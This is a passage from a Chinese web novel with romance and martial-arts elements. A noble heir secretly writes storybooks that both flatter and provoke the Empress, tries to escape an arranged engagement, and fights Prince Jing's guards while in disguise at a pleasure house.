“还有个事跟你说一声。周家那边…已经点头了。为父和你周世叔商量过了,择个吉日,就把你和婉茹的亲事定下来。聘礼为父会让人准备好送去。”
“什么?!”
江凡猛地抬头,眼睛瞪得溜圆!
“爹!这…这太快了吧?!我…我跟周小姐才见了一面!”
“一面怎么了?父母之命,媒妁之言!由得你挑三拣四?”
江撼岳眼睛一瞪,
“婉茹那孩子,知书达理,性子也好,模样也周正,哪点配不上你?你小子别不知好歹!
我告诉你,为父要奉旨前往南疆平定邪教叛乱,少则数月,多则半载才能回来。我不在的这段日子,你给我安分点!
好好当你的差,多跟你姐姐学学怎么持家!婉茹那边,也会常来府上走动,你给老子好好跟人家相处!
要是敢把人气跑了,或者惹出什么幺蛾子,等老子回来,非扒了你的皮不可!听到没有?!”
去南疆?
平定叛乱?
江凡愣了一下,老爹要出差?
这可是个大事!
不过他现在满脑子都是自己可能要被‘凌迟’的恐惧,以及对如何‘洗白’女帝形象的焦虑。
对定亲的事反而没那么抵触了,反正…反正周婉如好像也不讨厌...
他蔫头耷脑地应道:
“听到了…”
“滚回你院子去吧!看着你就来气!”
江撼岳挥挥手,把他轰了出去。
江凡垂头丧气地回到听雨轩,反手锁上门,一屁股瘫在椅子上,感觉人生充满了灰暗。
罢官不成,反而差点把‘自己’给作**!
老爹还要出差,把自己丢给姐姐和‘未婚妻’管教!
这日子没法过了!
第056章 臣不敢居功
江凡烦躁地抓了抓头发,走到书案前。
看着铺开的宣纸和笔墨,他咬了半天的笔杆子,迟迟没有动笔。
洗白女帝?
怎么写?
把她写成英明神武、从不受纨绔迷惑?
那岂不是打自己脸?
而且故事也没看头了,人气值肯定会跌!
纠结了半天,对‘凌迟’的恐惧最终战胜了一切。
罢了罢了!小命要紧!
人气值可以慢慢赚,马甲要是爆了,那就真玩完了!
他深吸一口气,宗师级书画技能再次发动。
笔尖蘸饱浓墨,开始‘痛改前非’,为‘大乾女帝’进行‘危机公关’。
他写道:‘女帝’之前对‘纨绔’的亲近,并非真心,实则是为了刺激因政见不合而负气出走的‘侍卫林枫’。
是想看看林枫的反应,是一种略带幼稚的赌气行为。
当林枫真的离开后,女帝才幡然醒悟,追悔莫及,心中充满了对林枫的思念和愧疚。
当她得知林枫在民间非但没有沉沦,反而心系百姓,想出了解决灾荒的奇策时,更是感动不已,深深为自己的任性感到懊悔。
于是,女帝放下身段,微服出宫,历经千辛万苦,终于找到了隐居乡野、默默救助灾民的林枫。
两人相见,百感交集,女帝诚恳道歉,诉说着思念之情,林枫也早已原谅了她。
最终,在夕阳的余晖下,两人紧紧相拥,冰释前嫌,感情比以往更加深厚…
江凡笔走龙蛇,将‘林枫’与‘女帝’的重逢写得缠绵悱恻、感人至深。
他刻意渲染了‘女帝’的悔悟与深情,以及‘林枫’的宽宏与大义。
把一段原本狗血的三角恋,硬生生扭变成了帝后情深、历经考验终成眷属的佳话。
写完通读一遍,自己都差点被这‘伟大’的爱情感动了。
嗯,这下总该行了吧?
把女帝塑造得如此深明大义、勇于认错、用情至深,她总不好意思再把逍遥公子‘凌迟’了吧?
他怀着一种将功赎罪的忐忑心情,将稿件提交给系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(1000份),投放至京城及周边区域…投放中…】
看着人气值再次上涨,江凡却没了往日的兴奋,反而有种劫后余生的虚脱感。
他瘫倒在床上,望着帐顶,心里默默祈祷:
女帝陛下,您大人有大量,看在我给您洗得这么白的份上,高抬贵手,放过小的吧…
……
翌日,紫宸宫寝殿。
萧璇月醒来后,第一件事仍是伸手探向枕边。
当指尖触碰到话本时,她竟罕见地犹豫了一下。
她几乎能猜到这小子回去后是如何抓耳挠腮、绞尽脑汁地‘补救’。
她带着一种复杂的心情,翻开了书页。
果然,开篇便是‘女帝’痛悔不已、四下寻找‘林枫’的桥段。
她耐着性子往下看,越看,嘴角那抹弧度越是明显。
看到‘女帝’不顾身份、千里寻夫,看到两人在夕阳下紧紧相拥、互诉衷肠时,她终于忍不住,低低地笑出声来。
“这个江凡…求生欲倒是挺强。”
她放下书稿,对侍立一旁的云暮笑道,
“瞧瞧,把朕写得…嗯,情深义重,知错能改,倒是难得。看来昨日的‘凌迟’之说,真是把他吓得不轻。”
云暮也抿嘴笑道:
“陛下圣明。江世子…这也是被陛下拿捏住了要害。”
只是心中却在想,陛下完全把自己代入进去不说,甚至都没有在意爱上一个侍卫的事情。
但这话可不敢说出来...
“拿捏?”
萧璇月凤眸微挑,心情颇佳,
“朕不过是稍加提点罢了。不过,他这‘洗白’功夫,倒是深得逍遥公子真传,写得情真意切,连朕看了都有些…动容呢。”
她语气带着戏谑,显然心情极好。
恰在此时,殿外传来内侍恭敬的禀报声:
“陛下,皇庄急报!”
萧璇月神色一正:
“宣。”
一名风尘仆仆的侍卫快步进殿,单膝跪地,双手呈上一份密函,声音激动:
“启禀陛下!皇庄依那…那书中所载之法,寻得木薯,依法浸泡、研磨、蒸煮,制成饼饵,已由死囚及自愿者试食三日,皆无**迹象,且饱腹感极强!
其他几种救荒
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之法,亦初步验证有效!庄头言,若此法推广,此次旱灾饥荒,或可大大缓解!”
“好!太好了!”
萧璇月豁然起身,凤眸中爆发出惊喜的光芒!
虽然早有预料,但得到确切的喜讯,依旧让她振奋不已!
她快步走下御阶,接过密函仔细查看,越看越是欣喜。
“天佑大夏!逍遥公子…真乃国士也!”
她忍不住赞叹出声,随即对云暮吩咐道:
“立刻将此验证结果及详细制法,抄录多份,以八百里加急,发送至各受灾州府!命各地官员即刻组织人手,依此法救灾!不得有误!”
“是!陛下!”
云暮领命,匆匆而去。
萧璇月手握密函,心潮澎湃。
这逍遥公子,又一次在关键时刻,献上了安邦定国之策!
此功,足以彪炳史册!
虽然…献策的方式总是这么气人。
早朝之上,萧璇月一扫连日来的阴霾,容光焕发。
她并未提及话本之事,而是直接将皇庄验证成功的‘木薯去毒法’及一系列救荒策论,以朝廷政令的形式颁布下去。
并严令各州县严格执行,务求保住灾民性命,稳定民心。
满朝文武听闻此法竟真能化毒物为食粮,且已验证有效,皆是又惊又喜,纷纷高呼“陛下圣明”、“天佑大夏”!
一时间,朝堂之上充满了乐观的气氛。
不少官员心中都对那位献上此法的‘逍遥公子’充满了好奇与感激。
却不知高人近在眼前,且刚刚才因为‘诽谤君上’被陛下吓得半死,连夜修改话本。
江凡站在下面,听着女帝颁布政令,心里暗暗松了口气。
还好还好,办法有效,自己这关算是过了。
他偷偷抬眼瞄了女帝一眼,见她心情似乎不错,应该…把‘凌迟’的事忘了吧?
就在这时,萧璇月的目光似是不经意地扫过江凡,停留了一瞬,嘴角勾起一抹笑意,朗声道:
“此次能得此救荒良策,江起居郎…献书有功,亦当嘉奖。”
江凡心里一紧,连忙出列躬身:
“臣不敢!此乃逍遥公子之功,臣…臣不过是恰巧看到,不敢居功!”
第057章 的确没法改
“诶,江爱卿过谦了。”
萧璇月摆摆手,语气轻松,
“若非你留心市井之言,及时献上,朝廷岂能如此迅速应对?功就是功。朕赏罚分明。这样吧…加赐你黄金百两,锦缎十匹,以示鼓励。”
“臣…谢主隆恩!”
江凡只能硬着头皮谢恩。
黄金百两?锦缎十匹?
这赏赐…怎么说呢,对于‘立功’来说,有点寒酸,但对于‘献了本书’来说,又好像挺大方?
女帝这心思,真是海底针啊!
退朝后,御书房内。
萧璇月心情似乎极好,甚至亲手给江凡赐了座,还让云暮上了茶。
这待遇,让江凡受宠若惊,坐立不安。
“江爱卿,坐。”
萧璇月抿了口茶,语气随意,
“今日朕,有一事相询。”
“陛下请讲,臣定当知无不言!”
江凡赶紧表态。
萧璇月放下茶杯,凤眸带着探究的意味看向他:
“朕观你那日献上的话本,文笔精妙,情节曲折,尤其是对人物心理的刻画,可谓入木三分。朕倒是好奇,这逍遥公子,究竟是何方神圣?
能有如此才华见识,却甘于隐匿市井,以话本娱人?江爱卿常在宫外走动,可曾听过什么风声?”
江凡心里咯噔一下,他头皮发麻,赶紧摆手,脸上堆起最无辜的表情:
“回陛下!臣…臣就是个混日子的,哪能知道逍遥公子那等奇人的消息?这话本也是底下人买来看,臣觉得有趣才…
才看到的!至于他是谁,臣是真不知道!或许…或许就是个淡泊名利的隐士吧?”
“隐士?”萧璇月似笑非笑,
“一个隐士,会对朝堂局势、民生疾苦如此了如指掌?还能屡献安邦定国之策?江爱卿,你不觉得…这很矛盾吗?”
江凡心中一凸,强笑道:
“这个…或许…或许他有什么特殊的信息渠道?或者…就是天赋异禀,能掐会算?臣…臣愚钝,实在猜不透。”
萧璇月看着他这副打死不承认的样子,也不逼问,转而换了个话题:
“罢了,既然爱卿不知,朕也不强求。只是…朕观这话本中,对大乾女帝的描写,前期虽有些…
嗯,有失偏颇,但后期倒是颇为…正面。爱卿觉得,这逍遥公子,对女帝…究竟是何种态度?”
江凡心里疯狂吐槽:我什么态度?
我怕死的态度!
赚点人气值容易吗我?
他小心翼翼地回答:
“臣以为…逍遥公子前期或许是为了…增加故事的戏剧性?毕竟话本需要冲突。后期…
后期想必是认识到女帝的英明神武,内心折服,故而…故而加以褒扬?”
他一边说一边偷瞄女帝脸色。
“内心折服?加以褒扬?”
萧璇月重复了一遍,嘴角的笑意更深了。
她站起身走到窗边,背对着江凡,声音带着一丝难以捉摸的意味,
“或许吧。只是…朕有时觉得,这逍遥公子,倒像是个调皮的孩子,明明心里装着家国天下,却偏要用这种气**的方式来表达。
你说…若是有一天,朕把他找了出来,是该好好奖赏他的功劳呢?还是该重重惩罚他的‘调皮’呢?”
江凡听得心惊肉跳,感觉女帝这话意有所指,每一句都像小鞭子抽在他心上!
他赶紧低下头,不敢接话。
萧璇月转过身,看着江凡那副鹌鹑样,终于放过了他:
“好了,朕只是随口一说。你退下吧。好好当你的差,若是再发现什么有趣的…话本,记得及时呈报。”
“是是是!臣遵旨!臣告退!”
江凡如蒙大赦,几乎是逃也似地溜出了御书房。
直到走出宫门,被冷风一吹,他才长长舒了口气,感觉像是打了一场硬仗。
女帝今天的话,句句是坑啊!
她是在试探我吗?
还是我想多了?
他心事重重地回到镇国公府,却见姐姐江芷兰正在前厅等他,脸上带着温柔的笑意:
“凡儿,回来了?周家妹妹来了,在后花园凉亭等你呢,说是…有些话想与你单独说。”
周婉如?
她来干什么?
江凡一愣,心里更乱了。
他现在身心俱疲,实在没精力再去应付这位心思玲珑的‘未婚妻’!
“姐…我…我今日在宫中当差,甚是乏累,能不能…”
江凡试图装病遁走。
“不能!”江芷兰打断他,嗔怪地瞪了他一眼,
“周妹妹难得主动过来,你怎能如此怠慢?爹爹临走前可是再三叮嘱,要你与周妹妹好生相处!快去!莫要让姑
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娘家久等了!”
说着,不由分说地将他往后花园方向推。
江凡欲哭无泪,只得硬着头皮,磨磨蹭蹭地朝后花园挪去。
一路上,他脑子飞快运转,思考着对策:
无论如何,必须坚定拒婚立场!
但要怎么拒绝,才能既不暴露自己,又能让周婉如彻底死心呢?
装混蛋?装无能?还是…继续卖惨?
走到凉亭外,只见周婉如一袭淡紫色衣裙,正凭栏而立,望着池中游鱼,侧影娴静美好。
听到脚步声,她转过身来,脸上带着浅浅的红晕,对着江凡微微福了一礼:
“世子爷。”
江凡赶紧挤出一个僵硬的笑容,拱手还礼:
“周小姐。”
他刻意保持距离,语气疏离,
“不知周小姐今日前来,所为何事?”
他打定主意,要营造一种‘我们不熟、没啥可聊’的氛围。
周婉如见他如此客套,秀眉蹙了一下,随即展颜一笑,语气带着一丝娇嗔,却又落落大方:
“世子爷何必如此生分?昨日家父已与国公爷商定,聘礼也已过府,婉茹…已是世子爷未过门的妻子了。世子爷再唤‘周小姐’,岂不是太见外了?”
江凡心里咯噔一下,直奔主题?
他赶紧摆手,脸上堆起无奈:
“周…呃,婉茹姑娘言重了!此事…此事乃家父与周世叔一力促成,江某…实不相瞒,江某胸无大志,文不成武不就。
乃是京城人尽皆知的纨绔子弟,实在…实在配不上姑娘这般品貌双全的大家闺秀!姑娘若是因为父母之命而勉强自己,江某心中实在难安!
不如…不如姑娘回去与周世叔说明,退了这门亲事,另觅良配?江某绝无怨言!”
他把自己贬得一文不值,只盼着周婉如能‘迷途知返’。
看到周婉如不说话,他又补充了一句:
“婉如姑娘喜欢我什么,我改还不行吗?”
周婉如静静听完,非但没有生气,反而‘噗嗤’一声笑了出来,眼眸弯弯,带着几分俏皮:
“世子爷过谦了。”
她顿了顿,目光灼灼地看着江凡,
“再说了,婉茹喜欢的是...世子爷…好好活着。”
江凡:“……”
我谢谢您嘞!
这的确没法改!
第058章 他贴身佩戴
江凡差点被这话噎住,一时竟不知如何接茬。
见他语塞,周婉如眼中闪过一丝狡黠,继续进攻:
“而且,婉茹听说,世子爷近来在陛下身边当差,勤勉克己,与往日大不相同,可见是成熟稳重了许多。这不正是成家立业的好时候吗?”
江凡心里暗骂:情报工作做得挺到位啊!
他赶紧否认三连:
“没有的事!都是装的!在陛下面前不得不装样子!其实我还是那个我,一点没变!真的!姑娘你千万别被表象迷惑了!”
“哦?是吗?”周婉如歪着头,似笑非笑地看着他,
“可婉茹还听说,世子爷以前是百花楼的常客,夜夜笙歌。怎的如今…却变得如此规矩,连门都很少出了?
莫非…是那百花楼的花魁柳大家,失了颜色,引不起世子爷的兴趣了?”
江凡头皮发麻,这姑娘怎么啥都知道?
他强作镇定,干咳两声:
“咳咳!那个…人是会成长的嘛!而且柳大家心高气傲又看不上我这个纨绔,实在无趣得很!我现在就喜欢…喜欢在家睡觉!”
他试图塑造一个懒散的废柴的形象。
“原来如此。”
周婉如点点头,一副懂了的表情,然后笑眯眯地说:
“世子爷如今成熟了,懂得收敛了,这不更是说明,您已经准备好承担家庭的责任了吗?婉茹觉得,甚好。”
江凡感觉自己一拳打在了棉花上,无论他怎么自黑,周婉如总能给他‘圆’回来,而且圆得他哑口无言!
这姑娘的脑回路是怎么回事?
眼看常规战术失效,江凡把心一横,决定使出‘**锏’!
他脸上露出一种难以启齿的羞愧表情,压低声音,仿佛难以启齿:
“婉茹姑娘…其实…其实我还有一事,一直瞒着众人…我…我之前荒唐,不慎…不慎染上了…花柳之症!
虽经名医诊治,已无大碍,但终究…终究是隐患!我实在不忍心拖累姑娘你啊!”
他心想,这下你总该怕了吧?
这总该退婚了吧?
谁知,周婉如闻言,非但没有露出惊恐或嫌弃的神色,反而眼睛一亮!
她更加确信江凡是在胡诌了!
一个能妙手回春、连她胎里带来的顽疾都能轻易治愈的神医,会治不好花柳病?
骗鬼呢!
这分明是狗急跳墙,连这种自毁名声的借口都搬出来了!
而他越是想自黑,就越说明他有问题。
她心中暗笑,面上却故作关切:
“竟有此事?世子爷不必过于忧心!家父与太医院几位院判相熟,可请他们再来为世子爷仔细诊治!至于成婚之后…”
她脸颊微红,声音低了下去,却异常坚定,
“世子爷若是…若是还想纳几房妾室,或是瞧上哪家的姑娘,只要身家清白,婉茹…婉茹绝无异议,甚至可以…可以替世子爷去下聘礼。”
她这话,简直是贤惠到了极点,也大度到了令人发指的地步!
江凡彻底傻眼了!
花柳病都不怕?
还要帮自己纳妾?
这…这姑娘是吃错药了还是被人下降头了?
他看着周婉如那看似温柔体贴、实则步步紧逼的模样,一股无力感涌上心头,脸上露出生无可恋的表情。
完了,这婚怕是退不掉了!
一旦成亲,朝夕相处,自己晚上偷偷写《深宫秘恋》的事情,肯定瞒不住啊!
到时候…
看着江凡那副郁闷的样子,周婉如心中又是好笑又是得意。
她见好就收,不再逼他,转而用一种轻松的语气说道:
“说起来,还要多谢世子爷。昨日在府上花园,婉茹旧疾突发,多亏了世子爷吩咐的那碗参汤。
回去后请太医诊脉,竟发现婉茹胎里带来的心脉孱弱之症,好了大半!太医都称奇不已。世子爷可真是婉茹的福星呢!”
她目光盈盈地看着江凡,话里有话。
江凡心里一紧,赶紧撇清:
“巧合!绝对是巧合!可能…可能就是府里的参年份足!跟我没关系!周姑娘吉人天相,洪福齐天!”
他打死不认。
周婉如也不点破,只是笑了笑。
眼看江凡已经被自己‘逼’到了墙角,精神萎靡,她决定暂时放过他。
于是起身道:
“世子爷想必也累了,婉茹就不多打扰了。我去寻芷兰姐姐说会儿话。”
江凡如蒙大赦,连忙道:
“周姑娘请便!”
他现在只想一个人静静。
看着周婉如离开凉亭的背影,江凡长长地叹了口气。
不行!
必须想办法!
他眼珠一转,心生一计!
对!去青楼!
表现得越荒唐越好!
让周婉如亲眼看看她‘未来夫君’是个什么德行!
说不定就能让她彻底死心!
想到这里,他立刻转身,对远处候着的丫鬟喊道:
“本
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世子要去百花楼,要是大小姐和周姑娘问起,就如实相告!”
……
却说周婉如见到江芷兰后,周婉如与她闲聊了些女儿家的琐事,态度亲切自然,仿佛只是寻常串门。
期间,她状似无意地问起江凡平日喜好,江芷兰对弟弟的‘才华’一无所知。
只当他是个需要操心的顽劣弟弟,言语间充满了疼爱和无奈。
这让周婉如对江凡的‘伪装’功力更是佩服得五体投地,她相信自己的直觉,江凡看到不是表面上这么纨绔。
直到告辞离开镇国公府,坐进回府的马车,周婉如还是决定,要好好探查江凡究竟有没有秘密!
……
另一边,江凡策马出了国公府,却有些茫然。
真去百花楼?
现在大白天的,而且心情郁闷,去了也没意思。
可不去吧,刚才狠话都放出去了…
他纠结片刻,忽然灵光一闪!
对了!
可以用‘萧遥’的身份去啊!
说干就干!
他找了个僻静无人的小巷,心念一动,易容掩息术(神级)发动。
骨骼肌肉微微调整,面容变得普通,气质也变得温润,再次化身中年文士‘萧遥’。
又换上一套半旧的青衫,这才摇着折扇,施施然朝着百花楼走去。
午后时分的百花楼依旧清静。
老鸨见到‘萧遥’先生再次光临,脸上笑开了花,连忙热情地将他引到雅间听雪阁,好酒好菜伺候着。
酒菜刚上齐,门帘便被轻轻掀开,一阵香风袭来。
花魁柳絮竟不请自来。
她今日穿着一身素雅的月白裙裳,未施粉黛,却更显清丽脱俗。
她对着江凡盈盈一拜,美眸中带着难以掩饰的激动和倾慕:
“萧先生!您来了!”
江凡微微颔首,示意她坐下:
“柳大家不必多礼,请坐。”
柳絮在他对面坐下,轻轻嗅了嗅,脸上露出惊喜的神色,状似无意地柔声问道:
“萧先生,之前送您的香囊…可是…一直贴身佩戴着?”
江凡闻言随口答道:
“哦,柳大家心灵手巧,我看香囊挺好看,便戴着了。”
这话是想体现对柳絮的尊重,但听在柳絮耳中,却如同惊雷炸响!
果然!
这独一无二的‘雪中幽兰’!
他承认了!
他贴身戴着!
眼前这位‘萧遥’先生,就是镇国公世子江凡!
第059章 竟然是高手
江凡是她倾慕已久的逍遥公子!
柳絮发现这个秘密后,几乎难以自持。
她连忙低下头,掩饰住眼中的狂喜,声音故作镇定:
“原…原来如此,多谢先生抬爱。”
她心中已然决定,定要牢牢守住这个秘密。
江凡并不知道自己暴露,跟大多数男人一样,只知道口红是红的,香囊是香的。
至于是什么色号的红,和什么味道的香,基本都是知识盲区。
只要不过敏,就觉得是一样的。
雅间内,熏香袅袅,酒菜飘香。
柳絮为江凡斟满一杯酒,纤纤玉指微颤,美眸中流光溢彩。
她盈盈举杯,声音柔媚中带着一丝试探:
“萧先生,前日您在那话本中为奴家…哦不,是为那与‘林枫’知音相惜的清倌人增色不少。
如今京城皆知百花楼柳絮之名,连带着身价都涨了许多呢。奴家…真不知该如何感谢先生才好。”
她话语间,目光却紧紧锁住江凡的脸,不放过他任何一丝细微的表情变化。
江凡闻言,心中略有得意,表面却故作淡然,摆手道:
“柳大家言重了,小说家言,虚构之事,当不得真。不过是顺势而为,添些趣味罢了。倒是柳大家琴艺超绝,若论知音,是那‘林枫’有幸才是。”
他抿了口酒,心下嘀咕:这柳絮今天眼神怎么怪怪的?
比以前更…火热了?
看来才华对什么身份的女人都有杀伤力。
柳絮见他应对自如,嫣然一笑,顺势道:
“先生过谦了。能得先生笔下生花,是奴家的福分。只是不知…先生觉得,那镇国公府的江世子…是个怎样的人?”
她突然话锋一转,抛出一个让江凡猝不及防的问题!
“噗——咳咳咳!”
江凡一口酒差点全喷在柳絮身上,呛得连连咳嗽,脸都涨红了!
他惊疑不定地看着柳絮:
“柳…柳大家何出此言?怎…怎地突然提起那纨绔子弟?”
他心中警铃大作:怎么回事?
她怎么会突然提到自己这个纨绔?
难道…真被她看出什么了?
不可能啊!易容术是神级的!
除非老鸨告诉她的!
柳絮见他反应如此激烈,心中暗笑,面上却故作怅然,轻叹一声:
“不瞒先生,近日京城传言,周家小姐与江世子的亲事似乎将近。奴家…奴家虽身处风尘,却也听闻那江世子往日行事…
颇为不羁。只是不知为何,奴家总觉得,他或许…并非表面看来那般简单。”
她一边说,一边仔细观察着江凡的神色。
江凡心里七上八下,赶紧摆手,用极力贬低‘自己’的口吻说道:
“柳大家定是听了些不实传言!我…呃,在下也有所耳闻,那世子标准的纨绔膏粱,文不成武不就。
终日只知走马章台,饮酒作乐,能有何不简单之处?周家小姐许配于他,真是…唉,一朵鲜花插在…咳咳!”
他及时刹住,没把‘牛粪’说出来,但嫌弃之意溢于言表。
柳絮看着他咬牙切齿地贬低‘自己’,差点没忍住笑出声来,越发觉得眼前这人有趣得紧。
她故意顺着他的话,低声道:
“或许吧…只是,不知为何,奴家心里…反倒对那江世子,有几分…好奇呢。”
江凡听得头皮发麻,正想继续黑自己,把柳絮这危险的好奇心扼杀在摇篮里,突然——
砰!
雅间的门被人从外面猛地推开!
老鸨神色慌张地冲了进来,也顾不得礼数,急声道:
“萧先生!柳姑娘!不好了!靖…靖王殿下驾到!点名要柳姑娘即刻前去献艺陪酒!这…这可如何是好啊!”
老鸨吓得脸色惨白,靖王是当今女帝的皇叔,权势熏天,性格暴戾,是京城里最不能得罪的人物之一!
江凡眉头一皱,心中不悦。
靖王?
他知道这人,是个骄横跋扈的皇室宗亲,仗着身份没少干欺男霸女的事。
他放下酒杯,沉声道:
“妈妈,总有个先来后到吧?柳姑娘正在陪在下饮酒,岂有中途唤走的道理?你去回禀王爷,就说柳姑娘今日已有客,改日再向王爷赔罪。”
说着,他从袖中取出一张五百两的银票,拍在桌上,
“这是今日的
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酒资和柳姑娘的缠头,够了吧?”
老鸨看着银票,咽了口唾沫,为难道:
“萧先生,不是钱的事…是靖王殿下他…他得罪不起啊!老身…老身实在不敢…”
就在这时,门外传来一阵嚣张的喧哗声和脚步声,一个阴阳怪气的声音响起:
“哦?是哪位高人如此大的面子,连本王的人都敢抢啊?”
话音未落,雅间门帘被彻底掀开。
一个身穿**袍、面色倨傲、眼袋浮肿的中年男子在一群如狼似虎的侍卫簇拥下,大摇大摆地走了进来,正是靖王!
他目光淫邪地在柳絮身上扫过,然后落在江凡身上,满是轻蔑。
老鸨吓得扑通一声跪倒在地,连连磕头:
“王爷息怒!王爷息怒!”
江凡心中怒火升腾,但依旧保持‘萧遥’的文士风度,起身不卑不亢地拱了拱手:
“草民萧遥,见过靖王殿下。殿下,凡事总讲个理字,是在下先邀柳大家在此…”
“萧遥?”
靖王打断他,眯起眼睛,上下打量着他,忽然冷笑道:
“我当是谁,原来就是那个写些淫词艳曲、诽谤朝臣的酸丁‘逍遥公子’?!”
他身后几个侍卫也发出哄笑。
原来,靖王有几个门人也在之前的税银案中被抓,他早就对逍遥公子恨之入骨,今日撞见,正好借题发挥!
“殿下慎言!”江凡脸色一沉,
“在下所写,不过是市井小说,何来诽谤之说?”
“哼!巧言令色!”靖王懒得跟他废话,大手一挥,
“来人!把这个妄议朝政、蛊惑人心的狂徒给我拿下!柳絮,跟本王走!”
他身后的侍卫立刻如狼似虎地扑了上来!
“谁敢!”
江凡厉喝一声,先天巅峰修为瞬间爆发!
一股强大的气浪以他为中心扩散开来!
他身形如电,出手如风,拳脚并用,只听‘砰砰’几声闷响,冲在最前面的几个侍卫惨叫着倒飞出去,撞翻了桌椅碗碟,一片狼藉!
“嗯?还是个练家子?”
靖王眼中闪过一丝诧异,没想到一个写书的,竟然还是高手!
第060章 绝不是后天
靖王顿时怒火中烧:
“怪不得如此嚣张!给我上!死活不论!”
他对逍遥公子的恨有多深,只有他自己知道。
本来对女帝很不满,一直想找机会取而代之,结果逍遥公子的话本横空出世。
里面要是光写情情爱爱就算了,但里面出现了很多国策。
女帝依靠话本里的策略,解决了很多事情,百姓对女帝的拥护也越来越高。
所以他恨不得把逍遥公子千刀万剐。
今天撞见,怎么能轻饶?
更多的侍卫涌上,其中不乏好手。
但江凡凭借先天巅峰的修为和系统兑换的精妙身法、拳法,在人群中穿梭自如,拳拳到肉,掌掌凌厉,竟无人是他一合之将!
雅间内顿时乱作一团,杯盘碎裂声、侍卫哀嚎声不绝于耳。
柳絮吓得花容失色,躲在江凡身后,看着他挺拔的背影和凌厉的身手,眼中异彩连连,心中惊呼:他果然会武!
而且修为如此之高!
这绝不是一个普通文士或纨绔能有的实力!
靖王见手下久攻不下,脸色越来越难看,对身边一个一直闭目养神、气息晦涩的灰衣老者低声道:
“胡先生,劳烦您出手,拿下此獠!”
那灰衣老者缓缓睁开双眼,眸中精光一闪,一股远超先天境界的恐怖威压瞬间笼罩了整个雅间!
宗师中期!
江凡心中一凛!
麻烦了!
他虽已是先天巅峰,但距离宗师中期仍有不小差距,尤其是大境界的压制,极为明显!
他感觉周身空气仿佛凝固,动作都滞涩了几分。
“小子,束手就擒,可免皮肉之苦。”
灰衣老者声音沙哑,一步踏出,看似缓慢,却瞬间到了江凡面前,干枯的手掌带着凌厉的劲风,直抓江凡咽喉!
江凡咬牙,将全身真气催发到极致,【惊鸿十三剑】的剑意融入掌法,一记掌刀劈出,迎向老者的擒拿!
“嘭!”
气劲交击,发出一声闷响!
江凡只觉一股无可抵御的巨力涌来,气血翻腾,喉头一甜,蹬蹬蹬连退七八步,撞在墙壁上才稳住身形,嘴角溢出一丝鲜血!
而灰衣老者只是身形微晃,便即站稳。
高下立判!
“先生!”
柳絮惊呼出声,俏脸煞白。
靖王见状,得意大笑:
“哈哈哈!不知天高地厚的东西!胡先生,废了他的武功!”
灰衣老者眼中寒光一闪,再次欺身而上,掌风更厉!
就在这千钧一发之际——
“住手!京城巡防营在此!何人在此**?!”
一声暴喝从楼下传来,紧接着,密集而整齐的脚步声迅速逼近!
一队顶盔贯甲、手持兵刃的巡防营士兵冲了上来,将雅间门口团团围住,为首的是一名面色冷峻的校尉。
原来,这边的打斗动静太大,早已惊动了巡街的官兵。
江凡心中一动,立刻抓住机会,强压下翻腾的气血,对着那校尉朗声道:
“这位军爷来得正好!在下萧遥,一介书生,在此与友人饮酒,靖王殿下无故闯入,强抢民女。
还要对在下痛下**!敢问军爷,这天子脚下,朗朗乾坤,还有没有王法了?!”
他声音清越,义正词严,瞬间将靖王置于恃强凌弱、目无王法的境地。
那校尉显然认得靖王,脸色微变,但职责所在,只能硬着头皮上前行礼:
“末将参见靖王殿下!不知殿下为何在此动武?还请殿下息怒!”
靖王脸色铁青,他虽嚣张,但也不想当众落下个‘欺凌百姓、目无法纪’的名声。
他狠狠瞪了江凡一眼,从牙缝里挤出几个字:
“好!好个逍遥公子!牙尖嘴利!本王记住你了!我们走!”
说罢,重重一拂袖,带着灰衣老者和一群狼狈的侍卫,悻悻而去。
临走前,那阴冷的目光在江凡身上扫过,充满了威胁。
一场风波,暂时平息。
巡防营校尉见靖王离去,也松了口气,对江凡拱拱手:
“先生受惊了,此地不宜久留,先生也请速速离去吧。”
说完,便带队离开。
雅间内,一片狼藉。
江凡松了口气,感觉体内气血依旧有些紊乱,宗师中期的一击,果然不是那么好接的。
他擦了擦嘴角的血迹。
“先生!您没事吧?”
柳絮连忙上前,掏出手帕
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,想要替他擦拭,眼中满是担忧和后怕。
“无妨,一点小伤。”
江凡摆摆手,避开她的手,心中却是警醒:
京城水深,靖王这等人物,睚眦必报,今日结下梁子,日后怕是麻烦不断。
而且,刚才动手,恐怕已经引起了一些人的注意。
这‘萧遥’的身份,暂时不能用了。
他看了一眼惊魂未定的柳絮,叹了口气:
“柳大家,今日连累你了。此地已成是非之地,你也早些回房歇息吧。在下…也该告辞了。”
他必须尽快离开,以免靖王去而复返,或者招来更厉害的人物。
柳絮看着他略显苍白的脸色和急于离去的姿态,心中充满了不舍和担忧,但也知形势逼人,只得盈盈一拜:
“先生保重!今日之恩,柳絮没齿难忘!”
江凡点点头,不再多言,迅速整理了一下衣衫,压下伤势,快步离开了百花楼,身影很快消失在熙攘的人流中。
柳絮独自站在一片狼藉的雅间内,望着他消失的方向,美眸中情绪复杂难明。
逍遥公子…江世子…你究竟,还有多少秘密?
江凡与靖王的冲突,第一时间呈报至深宫之中,摆在了女帝的御案之上。
御书房内,灯火通明。
女帝萧璇月看着密报上的详细记述,凤眉微蹙。
她放下密报,揉了揉眉心,语气带着一丝愠怒和无奈:
“这个靖王!真是越来越无法无天了!眼里还有没有王法?!还有没有朕这个皇帝?!”
侍立一旁的心腹女官云暮,都屏息凝神,不敢轻易接话。
女帝话锋一转,语气中又带上了几分恨铁不成钢的意味:
“还有那个江凡!也是不让人省心!没事跑百花楼去做什么?还为了一个…一个青楼女子,跟靖王起冲突!
他难道不知又多少人盯着他吗?幸好…幸好他没吃什么大亏,若是他有个三长两短,朕身边…岂不是要白白损失一个未来的栋梁之才?!”
她虽在斥责,但关切和维护之意,却溢于言表。
不过能接下宗师高手一击,这江凡的实力可绝对不是后天。
江凡啊江凡,你究竟藏了多少秘密?
第061章 先收点利息
云暮闻言,掩口轻笑一声,上前一步,柔声道:
“陛下息怒。江公子少年心性,侠义心肠,见不得欺凌弱女之事,也是情有可原。况且…依臣看,此事倒也未必全是坏事。”
“哦?此话怎讲?”女帝挑眉看向她。
云暮眼中闪过一丝狡黠,笑道:
“陛下您想啊,以咱们这位‘逍遥公子’那睚眦必报、不肯吃亏的性子…今日在靖王世子那里受了气,吃了点小亏,他岂能善罢甘休?
明面上或许不便发作,但您别忘了…他还有一支‘**不见血’的妙笔呢!”
